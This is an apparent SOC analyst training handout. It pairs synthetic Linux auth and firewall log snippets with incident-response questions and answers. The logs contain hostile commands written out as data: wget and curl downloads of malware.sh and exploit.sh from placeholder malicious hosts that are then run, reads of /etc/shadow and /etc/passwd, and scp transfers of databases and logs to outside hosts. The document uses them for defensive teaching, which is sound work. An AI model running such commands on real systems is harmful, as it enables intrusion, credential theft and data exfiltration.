TRAINING LOG FOR CYBERSECURITY ANALYST L1 WITH QUESTIONS AND ANSWERS

BY IZZMIER IZZUDDIN

TRAINING SET 1

Log Snippet:

Sep 14 11:05:01 web-server1 sshd[11235]: Invalid user admin from 203.0.113.15 port 44123

Sep 14 11:05:03 web-server1 sshd[11235]: Failed password for invalid user admin from 203.0.113.15 port 44123 ssh2

Sep 14 11:05:07 web-server1 sshd[11235]: Failed password for invalid user admin from 203.0.113.15 port 44123 ssh2

Sep 14 11:06:15 web-server1 sshd[11236]: Invalid user guest from 203.0.113.15 port 44212

Sep 14 11:06:17 web-server1 sshd[11236]: Failed password for invalid user guest from 203.0.113.15 port 44212 ssh2

Sep 14 11:06:20 web-server1 sshd[11236]: Failed password for invalid user guest from 203.0.113.15 port 44212 ssh2

Sep 14 11:07:25 web-server1 sshd[11237]: Invalid user test from 203.0.113.15 port 44250

Sep 14 11:07:28 web-server1 sshd[11237]: Failed password for invalid user test from 203.0.113.15 port 44250 ssh2

Sep 14 11:07:31 web-server1 sshd[11237]: Failed password for invalid user test from 203.0.113.15 port 44250 ssh2

Sep 14 11:08:05 web-server1 sshd[11238]: Accepted password for user izzmier from 203.0.113.16 port 58112 ssh2

Sep 14 11:08:05 web-server1 sshd[11238]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 14 11:08:20 web-server1 sudo[11320]: izzmier : TTY=pts/1 ; PWD=/home/izzmier ; USER=root ; COMMAND=/bin/bash

Sep 14 11:08:21 web-server1 sudo[11320]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 14 11:09:30 web-server1 sudo[11320]: pam_unix(sudo:session): session closed for user root

Sep 14 11:09:45 web-server1 sshd[11238]: pam_unix(sshd:session): session closed for user izzmier

Sep 14 11:11:05 web-server1 sshd[11245]: Failed password for invalid user admin from 203.0.113.15 port 45050 ssh2

Sep 14 11:11:10 web-server1 sshd[11245]: Failed password for invalid user admin from 203.0.113.15 port 45050 ssh2

Sep 14 11:11:15 web-server1 sshd[11245]: Failed password for invalid user admin from 203.0.113.15 port 45050 ssh2

Sep 14 11:11:50 web-server1 sudo[11411]: izzmier : TTY=pts/2 ; PWD=/home/izzmier ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.org/malware.sh

Sep 14 11:11:51 web-server1 sudo[11411]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 14 11:11:56 web-server1 sudo[11411]: pam_unix(sudo:session): session closed for user root

Sep 14 11:12:30 web-server1 sshd[11423]: Accepted password for user izzmier from 203.0.113.17 port 57215 ssh2

Sep 14 11:12:30 web-server1 sshd[11423]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 14 11:12:40 web-server1 sudo[11428]: izzmier : TTY=pts/3 ; PWD=/home/izzmier ; USER=root ; COMMAND=/bin/bash malware.sh

Sep 14 11:12:41 web-server1 sudo[11428]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 14 11:12:50 web-server1 sudo[11428]: pam_unix(sudo:session): session closed for user root

Sep 14 11:13:15 web-server1 sshd[11423]: Received disconnect from 203.0.113.17: 11: disconnected by user

QUESTIONS AND ANSWERS

Question 1: What kind of attack does the initial portion of the log indicate? How should you respond to it?

Answer: The initial log entries (Invalid user admin, Invalid user guest, Invalid user test) indicate a brute force attack against the SSH service. The attacker originating from IP 203.0.113.15, is trying different usernames in an attempt to gain access to the system. They repeatedly attempt to use invalid usernames such as 'admin', 'guest' and 'test', which are common defaults in many systems.

Include steps below:

1. Blocking the Source IP: Immediately block the IP 203.0.113.15 at the firewall level to stop further brute force attempts.
2. Rate Limiting: Implement rate-limiting on the SSH service, restricting the number of login attempts from the same IP address within a specific time period.
3. Audit SSH Configurations: Ensure strong, unique passwords are enforced and consider disabling password-based authentication in favour of more secure methods like SSH key-based authentication.
4. Enable Multi-Factor Authentication (MFA): If not already implemented, add an extra layer of security by enabling MFA for SSH logins.

Question 2: What concerns arise with the Accepted password for user izzmier entry from 203.0.113.16? How would you proceed with this finding?

Answer: The log shows an accepted password for user izzmier from IP 203.0.113.16. This could be a legitimate user logging in, but given the previous brute force attempts from a related IP (203.0.113.15), it raises a red flag. There is a possibility that the attacker was able to guess or steal the credentials for user izzmier, possibly through earlier brute force attempts or social engineering.

Here's how I would proceed:

1. Investigate IP 203.0.113.16: Check if this is a known and trusted IP for the user izzmier. If not, this may indicate a compromised account.
2. Review Login Patterns: Look at previous logs for izzmier to determine if this login is out of the ordinary (e.g., unusual login time or location).
3. Force Password Reset: Immediately require a password reset for user izzmier to ensure the account is secured.
4. Check for Further Compromise: Since izzmier uses sudo to run privileged commands, it's essential to investigate whether the account has been compromised and if other systems are at risk.
5. Audit Command Execution: Pay close attention to the commands executed by izzmier, such as /bin/bash and wget http://malicious-site.org/malware.sh, which indicate malicious activity and possible malware download.

Question 3: The log indicates a command using wget to download from malicious-site.org. What actions should be taken based on this observation?

Answer: The use of wget to download a file from a suspicious domain (malicious-site.org/malware.sh) is an indication of a potential malware download. This is a serious concern and should be treated as an immediate threat.

Steps to take include:

1. Isolate the Affected Host: The host running the command should be isolated from the network to prevent the malware from spreading or further compromising the system.
2. Examine the Downloaded File: Investigate the downloaded file (malware.sh) to determine its nature. Analyse it in a sandboxed environment to understand its behaviour and check for malicious payloads or backdoors.
3. Block the Malicious Domain: Add malicious-site.org to the firewall or DNS blocklist to prevent any further connections or downloads from this site.
4. Review Other Systems: Perform a scan of other systems within the network to check for similar downloads or connections to malicious-site.org.
5. Notify the Incident Response Team: Escalate the issue to the incident response team to coordinate a more in-depth investigation and recovery plan.

Question 4: Why is it concerning that user izzmier executed malware.sh shortly after downloading it? What immediate steps should be taken?

Answer: The log indicates that user izzmier executed the file malware.sh immediately after downloading it. This is highly suspicious as it shows the attacker may have successfully deployed malware on the system.

Here are the critical concerns:

1. Malware Execution: The script could be installing backdoors, keyloggers or ransomware, compromising the system's integrity and the data stored on it.
2. Lateral Movement: The malware could be attempting to spread to other systems within the network, looking for exploitable vulnerabilities or open services.
3. Exfiltration: The malware might also be designed to steal data or create persistence mechanisms for ongoing access.

Immediate steps:

- Terminate the Process: Kill any processes related to malware.sh and remove the file from the system.
- Run Forensics on the System: Analyse the system for any changes made by the script. Look for altered files, new processes or suspicious network connections.
- Check Network Traffic: Monitor network traffic for any unusual outbound connections that may indicate data exfiltration.

- Restore from Backup: If the system is critically compromised, restoring from a clean backup may be necessary to ensure it is fully secured.

TRAINING SET 2

Log Snippet:

Sep 14 14:32:10 db-server sshd[23010]: Accepted password for user iffah from 192.0.2.20 port 53122 ssh2

Sep 14 14:32:11 db-server sshd[23010]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 14 14:33:04 db-server sudo[23100]: iffah : TTY=pts/1 ; PWD=/home/iffah ; USER=root ; COMMAND=/bin/bash

Sep 14 14:33:05 db-server sudo[23100]: pam_unix(sudo:session): session opened for user root by iffah(uid=1002)

Sep 14 14:35:12 db-server sudo[23100]: pam_unix(sudo:session): session closed for user root

Sep 14 14:36:23 db-server sshd[23015]: Failed password for invalid user admin from 198.51.100.25 port 44512 ssh2

Sep 14 14:36:27 db-server sshd[23015]: Failed password for invalid user admin from 198.51.100.25 port 44512 ssh2

Sep 14 14:36:30 db-server sshd[23015]: Failed password for invalid user admin from 198.51.100.25 port 44512 ssh2

Sep 14 14:40:08 db-server sshd[23020]: Accepted password for user iffah from 192.0.2.21 port 52312 ssh2

Sep 14 14:40:08 db-server sshd[23020]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 14 14:41:05 db-server sudo[23201]: iffah : TTY=pts/2 ; PWD=/home/iffah ; USER=root ; COMMAND=/bin/cat /etc/passwd

Sep 14 14:41:06 db-server sudo[23201]: pam_unix(sudo:session): session opened for user root by iffah(uid=1002)

Sep 14 14:41:10 db-server sudo[23201]: pam_unix(sudo:session): session closed for user root

Sep 14 14:45:35 db-server sshd[23025]: Invalid user temp from 198.51.100.25 port 45011

Sep 14 14:45:36 db-server sshd[23025]: Failed password for invalid user temp from 198.51.100.25 port 45011 ssh2

Sep 14 14:45:39 db-server sshd[23025]: Failed password for invalid user temp from 198.51.100.25 port 45011 ssh2

Sep 14 14:47:20 db-server sshd[23030]: Accepted password for user iffah from 192.0.2.22 port 51245 ssh2

Sep 14 14:47:20 db-server sshd[23030]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 14 14:48:45 db-server sudo[23321]: iffah : TTY=pts/3 ; PWD=/home/iffah ; USER=root ; COMMAND=/usr/bin/scp data.db iffah@192.0.2.99:/tmp/

Sep 14 14:48:46 db-server sudo[23321]: pam_unix(sudo:session): session opened for user root by iffah(uid=1002)

Sep 14 14:49:03 db-server sudo[23321]: pam_unix(sudo:session): session closed for user root

Sep 14 14:49:20 db-server sshd[23030]: pam_unix(sshd:session): session closed for user iffah

Sep 14 14:51:45 db-server sshd[23035]: Failed password for invalid user guest from 198.51.100.25 port 45550 ssh2

Sep 14 14:51:50 db-server sshd[23035]: Failed password for invalid user guest from 198.51.100.25 port 45550 ssh2

Sep 14 14:51:53 db-server sshd[23035]: Failed password for invalid user guest from 198.51.100.25 port 45550 ssh2

Sep 14 14:52:12 db-server sshd[23040]: Accepted password for user iffah from 192.0.2.23 port 51311 ssh2

Sep 14 14:52:12 db-server sshd[23040]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 14 14:52:45 db-server sudo[23411]: iffah : TTY=pts/4 ; PWD=/home/iffah ; USER=root ; COMMAND=/bin/bash

Sep 14 14:52:46 db-server sudo[23411]: pam_unix(sudo:session): session opened for user root by iffah(uid=1002)

Sep 14 14:53:55 db-server sudo[23411]: pam_unix(sudo:session): session closed for user root

Sep 14 14:54:10 db-server sshd[23040]: pam_unix(sshd:session): session closed for user iffah

Sep 14 15:00:01 db-server CRON[23490]: pam_unix(cron:session): session opened for user root by (uid=0)

Sep 14 15:00:02 db-server CRON[23490]: pam_unix(cron:session): session closed for user root

Sep 14 15:05:22 db-server sshd[23501]: Accepted password for user iffah from 192.0.2.24 port 51412 ssh2

Sep 14 15:05:22 db-server sshd[23501]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 14 15:06:10 db-server sudo[23522]: iffah : TTY=pts/5 ; PWD=/home/iffah ; USER=root ; COMMAND=/usr/bin/scp /var/log/auth.log iffah@192.0.2.99:/tmp/

Sep 14 15:06:12 db-server sudo[23522]: pam_unix(sudo:session): session opened for user root by iffah(uid=1002)

Sep 14 15:06:33 db-server sudo[23522]: pam_unix(sudo:session): session closed for user root

Sep 14 15:07:45 db-server sshd[23501]: pam_unix(sshd:session): session closed for user iffah

QUESTIONS AND ANSWERS

Question 1: What initial suspicious behaviour can be observed in the logs and what steps should be taken to address it?

Answer: The logs show multiple instances where user 'iffah' successfully logged in from different IP addresses (192.0.2.20, 192.0.2.21, etc.), raising a flag for unusual behaviour. Frequent logins from various IPs within a short period could suggest either an insider threat or a compromised account. Furthermore, failed login attempts for invalid users (admin, temp, guest) from IP 198.51.100.25 suggest potential brute force attacks.

Steps to address:

1. Review User Behaviour: Investigate whether the multiple IP addresses for 'iffah' are expected based on her role, working conditions or known VPN connections.
2. Lockdown Suspicious IPs: Block IP 198.51.100.25 at the firewall level to prevent further brute force attempts.
3. Monitor 'iffah's' Actions: Pay close attention to 'iffah's' subsequent actions, especially commands run under sudo. This may help uncover if an unauthorised individual has control of her account.
4. Force a Password Reset: If there's doubt about 'iffah's' activities, force a password reset and review the account for possible compromise.

Question 2: What concerns are raised by the command executed by user 'iffah' to copy data (scp) to another server? How would you proceed?

Answer: The log shows that user 'iffah' used scp to transfer a database file (data.db) and later the system's authentication logs (auth.log) to a remote server at 192.0.2.99. This raises an immediate concern of data exfiltration.

Steps to proceed:

1. Investigate 192.0.2.99: Determine whether the IP address 192.0.2.99 is a legitimate system within the organisation. If it's not authorised, it likely indicates a data exfiltration attempt.
2. Isolate the System: Isolate the machine that 'iffah' accessed to prevent further unauthorised data transfers.
3. Audit Other Data Transfers: Review previous logs and file transfer histories to see if more sensitive data was moved elsewhere.
4. Notify Incident Response Team: Escalate to the incident response team for an in-depth investigation and forensic analysis of the compromised system.

Question 3: What is your assessment of the failed login attempts from IP 198.51.100.25 and what mitigations should be applied?

Answer: The failed login attempts using invalid users (admin, temp, guest) from IP 198.51.100.25 suggest a brute force attack or reconnaissance attempt. Since the usernames are commonly used by attackers, this may be an early indicator of a more extensive attack targeting SSH services.

Mitigations:

1. Block the IP: Add 198.51.100.25 to the firewall blocklist to prevent further login attempts.
2. Enable SSH Rate Limiting: Implement rate limiting on the SSH service to slow down future brute force attempts.
3. Enable Two-Factor Authentication (2FA): Strengthen SSH authentication mechanisms by enforcing 2FA for all users.
4. Conduct a Forensic Review: Investigate whether there have been successful login attempts from this IP in the past and assess any further damage or intrusion.

TRAINING SET 3

Log Snippet:

Sep 16 09:45:11 web-server sshd[28734]: Accepted password for user izzmier from 203.0.113.5 port 51212 ssh2

Sep 16 09:45:12 web-server sshd[28734]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 16 09:47:19 web-server sudo[28842]: izzmier : TTY=pts/1 ; PWD=/home/izzmier ; USER=root ; COMMAND=/bin/cat /etc/shadow

Sep 16 09:47:20 web-server sudo[28842]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 16 09:47:21 web-server sudo[28842]: pam_unix(sudo:session): session closed for user root

Sep 16 09:49:11 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.15 port 43322 ssh2

Sep 16 09:49:12 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.15 port 43322 ssh2

Sep 16 09:49:15 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.15 port 43322 ssh2

Sep 16 09:50:45 db-server sshd[30451]: Accepted password for user izzmier from 203.0.113.5 port 52221 ssh2

Sep 16 09:50:45 db-server sshd[30451]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 16 09:51:05 db-server sudo[30566]: izzmier : TTY=pts/0 ; PWD=/home/izzmier ; USER=root ; COMMAND=/bin/bash

Sep 16 09:51:05 db-server sudo[30566]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 16 09:52:12 db-server sshd[30501]: Failed password for invalid user admin from 198.51.100.25 port 44323 ssh2

Sep 16 09:52:14 db-server sshd[30501]: Failed password for invalid user admin from 198.51.100.25 port 44323 ssh2

Sep 16 09:53:11 db-server sudo[30566]: pam_unix(sudo:session): session closed for user root

Sep 16 09:54:55 web-server sshd[28739]: Failed password for invalid user admin from 198.51.100.25 port 43333 ssh2

Sep 16 09:54:58 web-server sshd[28739]: Failed password for invalid user admin from 198.51.100.25 port 43333 ssh2

Sep 16 09:55:12 web-server sshd[28739]: Failed password for invalid user admin from 198.51.100.25 port 43333 ssh2

Sep 16 09:57:45 db-server sshd[30501]: Accepted password for user izzmier from 203.0.113.6 port 52230 ssh2

Sep 16 09:57:45 db-server sshd[30501]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 16 09:59:01 db-server sudo[30699]: izzmier : TTY=pts/1 ; PWD=/home/izzmier ; USER=root ; COMMAND=/usr/bin/scp confidential.txt izzmier@203.0.113.99:/data/

Sep 16 09:59:02 db-server sudo[30699]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 16 09:59:23 db-server sudo[30699]: pam_unix(sudo:session): session closed for user root

Sep 16 10:01:01 web-server sshd[28734]: Failed password for invalid user admin from 198.51.100.25 port 44324 ssh2

Sep 16 10:01:05 web-server sshd[28734]: Failed password for invalid user admin from 198.51.100.25 port 44324 ssh2

Sep 16 10:03:12 web-server sshd[28745]: Failed password for invalid user guest from 198.51.100.25 port 44325 ssh2

Sep 16 10:03:14 web-server sshd[28745]: Failed password for invalid user guest from 198.51.100.25 port 44325 ssh2

Sep 16 10:03:16 web-server sshd[28745]: Failed password for invalid user guest from 198.51.100.25 port 44325 ssh2

Sep 16 10:06:05 db-server sshd[30501]: Accepted password for user izzmier from 203.0.113.6 port 52240 ssh2

Sep 16 10:06:05 db-server sshd[30501]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 16 10:07:32 db-server sudo[30845]: izzmier : TTY=pts/2 ; PWD=/home/izzmier ; USER=root ; COMMAND=/usr/bin/scp db_backup.sql izzmier@203.0.113.99:/backup/

Sep 16 10:07:33 db-server sudo[30845]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 16 10:07:54 db-server sudo[30845]: pam_unix(sudo:session): session closed for user root

Sep 16 10:10:12 db-server sshd[30501]: pam_unix(sshd:session): session closed for user izzmier

Sep 16 10:13:45 web-server sshd[28750]: Failed password for invalid user guest from 198.51.100.25 port 44330 ssh2

Sep 16 10:13:48 web-server sshd[28750]: Failed password for invalid user guest from 198.51.100.25 port 44330 ssh2

Sep 16 10:13:50 web-server sshd[28750]: Failed password for invalid user guest from 198.51.100.25 port 44330 ssh2

Sep 16 10:16:01 db-server CRON[31011]: pam_unix(cron:session): session opened for user root by (uid=0)

Sep 16 10:16:01 db-server CRON[31011]: pam_unix(cron:session): session closed for user root

Sep 16 10:20:45 db-server sshd[30501]: Accepted password for user izzmier from 203.0.113.7 port 52250 ssh2

Sep 16 10:20:45 db-server sshd[30501]: pam_unix(sshd:session): session opened for user izzmier by (uid=0)

Sep 16 10:21:33 db-server sudo[31122]:   izzmier : TTY=pts/3 ; PWD=/home/izzmier ; USER=root ; COMMAND=/usr/bin/scp system_config.tar.gz izzmier@203.0.113.99:/data/

Sep 16 10:21:34 db-server sudo[31122]: pam_unix(sudo:session): session opened for user root by izzmier(uid=1001)

Sep 16 10:21:56 db-server sudo[31122]: pam_unix(sudo:session): session closed for user root

Sep 16 10:25:01 db-server sshd[30501]: pam_unix(sshd:session): session closed for user izzmier

Sep 16 10:29:12 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.25 port 43340 ssh2

Sep 16 10:29:14 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.25 port 43340 ssh2

Sep 16 10:29:18 web-server sshd[28739]: Failed password for invalid user test from 198.51.100.25 port 43340 ssh2

QUESTIONS AND ANSWERS

Question 1: What suspicious behaviour can be identified based on the frequent use of scp in the logs?

Answer: The logs indicate multiple scp commands executed by user 'izzmier' to transfer files such as confidential.txt, db_backup.sql and system_config.tar.gz to an external IP (203.0.113.99). This is highly suspicious as it points to a potential data exfiltration attempt, particularly because the files appear sensitive (database backups, system configurations and confidential files).

Steps to address:

1. Block the External IP: Immediately block outbound traffic to 203.0.113.99 at the network level to prevent further data exfiltration.
2. Monitor User Activity: Investigate user 'izzmier's' previous login history to determine the legitimacy of their actions and check for any signs of account compromise.
3. Inspect Transferred Files: Analyse the contents of the files transferred to assess potential data loss and its impact.

Question 2: What evidence suggests lateral movement across the network?

Answer: The same user 'izzmier' accessed both web-server and db-server from different external IP addresses (203.0.113.5, 203.0.113.6 and 203.0.113.7), which may suggest lateral movement within the network. Given that SSH sessions were established between these servers and sensitive files were transferred, this indicates an attempt to move across the network to gather sensitive data before exfiltration.

Question 3: Which IP addresses should be flagged as suspicious and what immediate action should be taken?

Answer: Flag the following IPs as suspicious:

- 203.0.113.99: This is the destination for the exfiltrated files.
- 203.0.113.5, 203.0.113.6, 203.0.113.7: These IPs are likely part of the same malicious actor's infrastructure used to pivot between different servers. Steps to take:

1. Block all external IPs identified: Add 203.0.113.99, 203.0.113.5, 203.0.113.6 and 203.0.113.7 to the blocklist.

2. Monitor the network for additional connections: Watch for any further suspicious activities from these IP addresses.

Question 4: Is there any indication of privilege escalation in the logs?

Answer: Yes, there are multiple instances where 'izzmier' uses sudo commands to elevate privileges, such as reading the /etc/shadow file on the web server (sudo cat /etc/shadow) and running commands as root to transfer files (scp confidential.txt, scp db_backup.sql). This shows an attempt to access privileged files and potentially gain further access to the system.

TRAINING SET 4

Log Snippet:

Sep 17 08:25:05 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=1000 DF PROTO=TCP SPT=45321 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:25:07 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=1001 DF PROTO=TCP SPT=45321 DPT=23 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:25:10 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=1002 DF PROTO=TCP SPT=45321 DPT=80 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:25:12 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=1003 DF PROTO=TCP SPT=45321 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:25:13 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=1004 DF PROTO=TCP SPT=45321 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:30:05 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=198.51.100.75 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=2000 DF PROTO=TCP SPT=51421 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:30:07 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=198.51.100.75 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=2001 DF PROTO=TCP SPT=51421 DPT=23 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:30:09 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=198.51.100.75 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=2002 DF PROTO=TCP SPT=51421 DPT=80 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:30:11 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=198.51.100.75 DST=10.10.10.2

LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=2003 DF PROTO=TCP SPT=51421 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:30:12 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=198.51.100.75 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=2004 DF PROTO=TCP SPT=51421 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:35:22 app-server sshd[4129]: Failed password for invalid user tom from 192.0.2.24 port 51423 ssh2

Sep 17 08:35:25 app-server sshd[4130]: Failed password for invalid user admin from 192.0.2.24 port 51425 ssh2

Sep 17 08:35:28 app-server sshd[4132]: Failed password for invalid user root from 192.0.2.24 port 51428 ssh2

Sep 17 08:35:31 app-server sshd[4133]: Failed password for invalid user izzmier from 192.0.2.24 port 51430 ssh2

Sep 17 08:35:45 db-server sshd[5009]: Failed password for invalid user dbadmin from 198.51.100.75 port 51432 ssh2

Sep 17 08:35:47 db-server sshd[5010]: Failed password for invalid user backup from 198.51.100.75 port 51433 ssh2

Sep 17 08:35:50 db-server sshd[5012]: Failed password for invalid user dbadmin from 198.51.100.75 port 51435 ssh2

Sep 17 08:40:55 app-server sshd[4167]: Accepted password for user iffah from 192.0.2.24 port 51440 ssh2

Sep 17 08:40:56 app-server sshd[4167]: pam_unix(sshd:session): session opened for user iffah by (uid=0)

Sep 17 08:42:01 app-server sudo[4199]: iffah : TTY=pts/1 ; PWD=/home/iffah ; USER=root ; COMMAND=/usr/bin/curl -O http://malicious-site.com/exploit.sh

Sep 17 08:42:02 app-server sudo[4199]: pam_unix(sudo:session): session opened for user root by iffah(uid=1003)

Sep 17 08:42:04 app-server sudo[4199]: pam_unix(sudo:session): session closed for user root

Sep 17 08:45:15 app-server sshd[4201]: Failed password for invalid user admin from 198.51.100.75 port 51450 ssh2

Sep 17 08:45:18 app-server sshd[4202]: Failed password for invalid user tom from 198.51.100.75 port 51451 ssh2

Sep 17 08:45:22 app-server sshd[4203]: Failed password for invalid user guest from 198.51.100.75 port 51452 ssh2

Sep 17 08:48:12 app-server sudo[4215]: iffah : TTY=pts/2 ; PWD=/home/iffah ; USER=root ; COMMAND=/bin/sh /home/iffah/exploit.sh

Sep 17 08:48:13 app-server sudo[4215]: pam_unix(sudo:session): session opened for user root by iffah(uid=1003)

Sep 17 08:48:15 app-server sudo[4215]: pam_unix(sudo:session): session closed for user root

Sep 17 08:55:12 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=3000 DF PROTO=TCP SPT=51451 DPT=80 WINDOW=65535 RES=0x00 SYN URGP=0

Sep 17 08:55:14 firewall: [INFO] IN=eth0 OUT= MAC=00:0c:29:28:36:bc:00:1c:c4:21:69:ff:08:00 SRC=192.0.2.24 DST=10.10.10.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=3001 DF PROTO=TCP SPT=51452 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0

QUESTIONS AND ANSWERS

Question 1: What is the first sign of suspicious activity in the logs?

Answer: The first signs of suspicious activity are from IP 192.0.2.24, which appears to be scanning several ports on internal IP 10.10.10.1 in quick succession (ports 22, 23, 80, 443 and 3389). This is indicative of a port scanning attack, often used for reconnaissance to find open services for exploitation.

Question 2: How do the failed login attempts indicate a brute-force attack?

Answer: Multiple failed password attempts for different usernames (admin, root, izzmier) from 192.0.2.24 and later 198.51.100.75 suggest a brute-force attack. The attacker is trying various common user accounts, possibly trying to find valid credentials for a privileged account.

Question 3: Which IP addresses should be flagged as suspicious and what immediate actions should be taken?

Answer: Flag the following IP addresses:

- 192.0.2.24: This IP is performing port scans and brute-force attacks.
- 198.51.100.75: Also involved in brute-force attacks and lateral movement.
  Immediate actions:

1. Block the suspicious IP addresses: Prevent further attempts by blocking these IPs at the firewall.
2. Investigate user 'iffah's' activity: This account seems to be compromised, as it successfully logged in and executed a malicious script from a suspicious source (http://malicious-site.com/exploit.sh).

Question 4: Is there evidence of unauthorised access or privilege escalation?

Answer: Yes, user 'iffah' successfully logged in from 192.0.2.24 and escalated privileges using sudo to download and execute a potentially malicious script (exploit.sh). This suggests that the account may be compromised and being used to perform malicious actions on the system.